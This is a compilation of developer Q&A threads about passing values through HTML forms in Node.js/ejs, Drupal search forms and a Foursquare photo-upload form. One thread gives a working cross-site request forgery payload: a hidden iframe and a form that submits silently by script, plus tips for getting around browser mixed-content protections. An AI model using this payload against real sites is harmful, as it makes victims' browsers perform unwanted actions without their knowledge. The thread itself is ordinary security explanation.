How to Remember Pass Values Without Exposing To HTML? (NodeJS/ejs) - node.js

I tried to Google search but I did not even know what to search for!
My current problem is: say I have a customer order an item, it will show in his list of orders and he can then edit the order in the future by clicking a button next to the order.
Currently the button submits a hidden form which contains all information needed to identify a particular order and this form is passed into the edit order page through a post request. Although the form is hidden, when page source is viewed the information will still be accessible by the user.
How do I avoid exposing the information to the user? I.e do everything in the backend.
<form method="POST" action="/edit_order">
<input type="hidden" name="owner_email" value=<%=all.owner_email %>>
<input type="hidden" name="owner_email" value=<%=all.transactionId %>>
<input type="hidden" name="start_date" value=<%=moment(all.start_date).format() %>>
<input type="hidden" name="end_date" value=<%=moment(all.end_date).format() %>>
<button type="submit" class="btn btn-secondary">Change this order</input>
</form>

Related

how to access form input elements in get request for node

In my html in a node application I have a form as follows:
<form action="/getRoute" method="get">
<input type="hidden" name='a' value=<%- array1[0].element1 %>>
<input type="hidden" name='b' value=<%- array2[0].element2 %>>
<button type="submit">Submit</button>
</form>
When I click submit, the getRoute route is executed successfully (confirmed by console.log statement) - however, I cannot access the values of the hidden input fields by req.body - would anyone know how I can access these, or alternatively use another html element to pass data into the route?
Just found out that you these inputs are passed via the URL and can be accessed by req.query.a and req.query.b - it's not ideal to send sensitive data via get requests since the URL can be seen.

Node.js Getting values from html and using req.body.<name>

I am trying to retrieve multiple values from HTML and make use of it using req.body..
I am able to do this via message: req.body.message
<form id="message-form" class="input-group input-group-lg" style="">
<input type="text" name="message" class="form-control" aria-label="Large" aria-describedby="inputGroup-sizing-sm">
<div class="input-group-prepend">
<button class="btn btn-primary">Send</button>
</div>
</form>
However, I would like to retrieve the values from elements that are not inside the e.g <span id="item" style="font-weight:bold"> </span>
The reason is that when I load the page, it renders these values dynamically (retrieved from database). When I want to do a POST, I would like to make use of these values that have been rendered previously.
Is there a way to do this?
Many thanks.
Forms don't submit data that does not appear inside a form control.
So you can either:
Store the data somewhere in the server (such as in a session) where you can read it back on a subsequent request (watch out for race conditions!) or
Put the data in a form control instead of or as well as in the span. (Possibly using a hidden input).

Example of silently submitting a POST FORM (CSRF)

I'm interested in knowing how it is possible to silently submit a POST form for CSRF, without the user having any notice (the document location being redirected to the POSTed URL is not silent).
Example:
<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>
On an external site, what would I need to do to trigger this form automatically and silently?
One solution would be to open the form’s action in a frame like an iframe:
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
<input type='hidden' name='criticaltoggle' value='true'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
When testing CSRF locally you may have to overcome several security measures.
For Blocked loading mixed active content errors, ensure the protocol (http/https) of the attacker site and target site are the same, or use "//" as protocol for attacker site. Example attack on localhost:
<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
<input type='hidden' name='boo' value='true'>
<input type='submit' value='Submit'>
</form>
Alternatively set Firefox security.mixed_content.block_active_content to false.
If using Angular, security options prevent you using inline javascript, so you'll need to move the submit to code-behind on the attacker site:
ngOnInit() {
const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
myForm.submit();
}
Finally the attacker site's header 'x-frame-options' must not be set.

Adding photos to a venue using photos/add api and a simple form

I am trying to implement a simple form that allows me to add photos to venues (there are 30+). I followed a guide here and changed a few things to match the current api. When I use the uploader, I get the JSON response below. Is everything in order? I am getting a 200 response, but I am not seeing the photos added to their respective venue. I have also included my html for the form I am using to upload, please take a look let me know if anything is wrong. Thanks!
JSON Response:
{"meta":{"code":200},"notifications":[{"type":"notificationTray","item":{"unreadCount":0}}],"response":{"photo":{"id":"502ab14fe4b0ed9600d7722d","createdAt":1344975183,"prefix":"https:\/\/irs3.4sqi.net\/img\/general\/","suffix":"\/atVMrQ02CcgHIamCVmTugx4MCX4hIEVv1lLqbo24cnA.jpg","width":700,"height":525}}}
Form HTMl:
<form action="https://api.foursquare.com/v2/photos/add" method="post" enctype="multipart/form-data" v="20120809" >
<p>Venue ID: <input type="text" name="venueId"></p>
<p><input type="file" name="photo"></p>
<input type="hidden" name="oauth_token" value="MY OAUTH TOKEN">
<input type="submit">
</form>

Drupal 7 search parameters

I want to create a custom search box and use that to interact with Drupal's search module. Currently everything works pretty well. However, i would also need to use a proper token with the search. I have no idea what key Drupal uses to form this token.
Currently i have:
<form class="search-form" action="/search/node" method="post" id="search-form" accept-charset="UTF-8">
<input type="text" name="keys" class="search_box" value="Search ..." />
<input type="hidden" name="form_id" id="search-form" value="search_theme_form" />
<input type="hidden" name="form_token" value="<?php print drupal_get_token('search_theme_form'); ?>" />
</form>
This works well enough to display the results of one page. If i try to navigate to the second results page, all the results are thrown away.
You should probably use the more proper
$form = drupal_get_form('search_block_form');
return drupal_render($form);
http://api.drupal.org/api/drupal/modules--search--search.module/function/search_form/7
It turned out to be as simple as changing the form from post to get. Here's the html for a working solution.
<form class="search-form" action="/search/node" method="post" id="search-form" accept-charset="UTF-8">
<input type="text" name="keys" class="search_box" value="Search ..." />
</form>
You don't need to define tokens or anything of the sort.
And in theme use:
<?php
$form = drupal_get_form('search_block_form');
echo render($form);
?>

Resources